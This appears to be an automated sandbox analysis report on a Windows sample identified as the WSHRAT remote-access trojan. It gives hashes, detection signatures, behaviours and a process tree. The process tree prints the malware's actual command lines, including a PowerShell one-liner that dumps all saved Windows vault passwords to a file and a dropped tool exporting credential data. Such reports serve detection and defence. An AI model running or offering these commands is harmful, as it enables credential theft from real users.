Analysis

  • max time kernel
    150s
  • max time network
    202s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    05/08/2021, 03:37

General

  • Target
    94CEDBF96E556F012C1EAB9E9B82FB7F.exe
  • Size 951KB
  • Sample210805-xldl1pcaxe
  • SHA256 fe7cb98f06f1cc388f492f98af7dddb68423afd87e431d2bb36a8a68cc0d1471
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • WSHRAT

    WSHRAT is a variant of Houdini worm and has vbs and js variants.

  • WSHRAT Payload 1 IoCs
  • suricata: ET MALWARE WSHRAT CnC Checkin

    suricata: ET MALWARE WSHRAT CnC Checkin

  • suricata: ET MALWARE WSHRAT Credential Dump Module Download Command Inbound

    suricata: ET MALWARE WSHRAT Credential Dump Module Download Command Inbound

  • suricata: ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin 1

    suricata: ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin 1

  • Blocklisted process makes network request 16 IoCs
  • Executes dropped EXE 3 IoCs
  • Drops startup file 2 IoCs
  • Loads dropped DLL 32 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 4 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 3 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\94CEDBF96E556F012C1EAB9E9B82FB7F.exe
    "C:\Users\Admin\AppData\Local\Temp\94CEDBF96E556F012C1EAB9E9B82FB7F.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1048
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Roaming\NGYgx.vbs
      2⤵
      • Blocklisted process makes network request
      • Drops startup file
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:1980
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | % { $_.RetrievePassword();$_ } > "C:\Users\Admin\AppData\Local\Temp\tmp.txt"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2016
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c cd "C:\Users\Admin\AppData\Roaming\wshsdk" && C:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll > "C:\Users\Admin\AppData\Roaming\wshout"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1736
        • C:\Users\Admin\AppData\Roaming\wshsdk\python.exe
          C:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious behavior: CmdExeWriteProcessMemorySpam
          • Suspicious use of AdjustPrivilegeToken
          PID:1600
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1596
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM cmdc.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:960
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1988
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM cmdc.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1800
      • C:\Users\Admin\AppData\Roaming\cmdc.exe
        "C:\Users\Admin\AppData\Roaming\cmdc.exe" /stext C:\Users\Admin\AppData\Roaming\cmdc.exedata
        3⤵
        • Executes dropped EXE
        PID:1864
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1700
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM cmdc.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1364
      • C:\Users\Admin\AppData\Roaming\cmdc.exe
        "C:\Users\Admin\AppData\Roaming\cmdc.exe" /stext C:\Users\Admin\AppData\Roaming\cmdc.exedata
        3⤵
        • Executes dropped EXE
        PID:1252
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c mkdir "C:\Users\Admin\AppData\Roaming\wshlogs"
        3⤵
          PID:1672

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/1048-62-0x0000000000410000-0x0000000000494000-memory.dmp

          memory/1048-65-0x000000001AB20000-0x000000001AB22000-memory.dmp

          memory/1048-60-0x0000000000870000-0x0000000000871000-memory.dmp

          memory/1864-146-0x0000000075591000-0x0000000075593000-memory.dmp

          memory/1980-66-0x000007FEFB991000-0x000007FEFB993000-memory.dmp

          memory/2016-69-0x0000000002470000-0x0000000002471000-memory.dmp

          memory/2016-70-0x000000001AB30000-0x000000001AB31000-memory.dmp

          memory/2016-71-0x00000000026B0000-0x00000000026B1000-memory.dmp

          memory/2016-72-0x00000000026E0000-0x00000000026E1000-memory.dmp

          memory/2016-74-0x000000001AAB4000-0x000000001AAB6000-memory.dmp

          memory/2016-73-0x000000001AAB0000-0x000000001AAB2000-memory.dmp

          memory/2016-75-0x000000001C390000-0x000000001C391000-memory.dmp